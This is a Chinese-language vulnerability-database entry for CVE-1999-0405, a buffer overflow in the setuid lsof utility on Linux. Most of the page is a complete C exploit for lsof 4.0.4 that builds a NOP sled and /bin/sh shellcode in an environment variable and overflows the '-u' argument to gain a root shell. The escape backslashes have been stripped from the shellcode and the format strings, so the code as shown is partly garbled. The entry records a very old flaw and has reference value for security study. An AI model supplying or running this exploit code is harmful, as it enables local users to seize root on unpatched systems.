lsof缓冲区溢出漏洞

lsof缓冲区溢出漏洞

漏洞ID 1105415 漏洞类型 缓冲区溢出
发布时间 1999-02-17 更新时间 2005-05-02
图片[1]-lsof缓冲区溢出漏洞-安全小百科CVE编号 CVE-1999-0405
图片[2]-lsof缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-199902-037
漏洞平台 Linux CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/19374
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199902-037
|漏洞详情
lsof存在缓冲区溢出漏洞。本地用户可以借助该漏洞获得根特权。
|漏洞EXP
source: http://www.securityfocus.com/bid/496/info
 
Lsof is an open file management utility included with many linux distributions. When run setuid root or setgid kmem, it is subject to a buffer overflow that can lead to regular users gaining root priveleges.

/* http://www.hackersnetwork.net! */

/*
 *  Xploit for lsof 4.0.4 by Zhodiac <[email protected]>
 *  Based on Aleph's article in phrack49
 */

#include <stdlib.h>

#define DEFAULT_OFFSET                   0
#define DEFAULT_BUFFER_SIZE             32
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
  "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
  "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
  "x80xe8xdcxffxffxff/bin/sh";

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;
  char comando[512];

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);

  printf("nXploit for lsof 4.04 by zhodiac <[email protected]>nn");

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.n");
    exit(0);
  }

  addr = get_esp() - offset;
  printf("Using address: 0x%xn", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '';
  egg[eggsize - 1] = '';

  memcpy(egg,"EGG=",4);
  putenv(egg);
  snprintf(comando,511,"lsof -u %s",buff);
  system(comando);
}
|参考资料

来源:OSVDB
名称:3163
链接:http://www.osvdb.org/3163

相关推荐: Windows 2000 Active Directory Object Attribute Vulnerability

Windows 2000 Active Directory Object Attribute Vulnerability 漏洞ID 1104209 漏洞类型 Access Validation Error 发布时间 2000-04-20 更新时间 2000-0…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享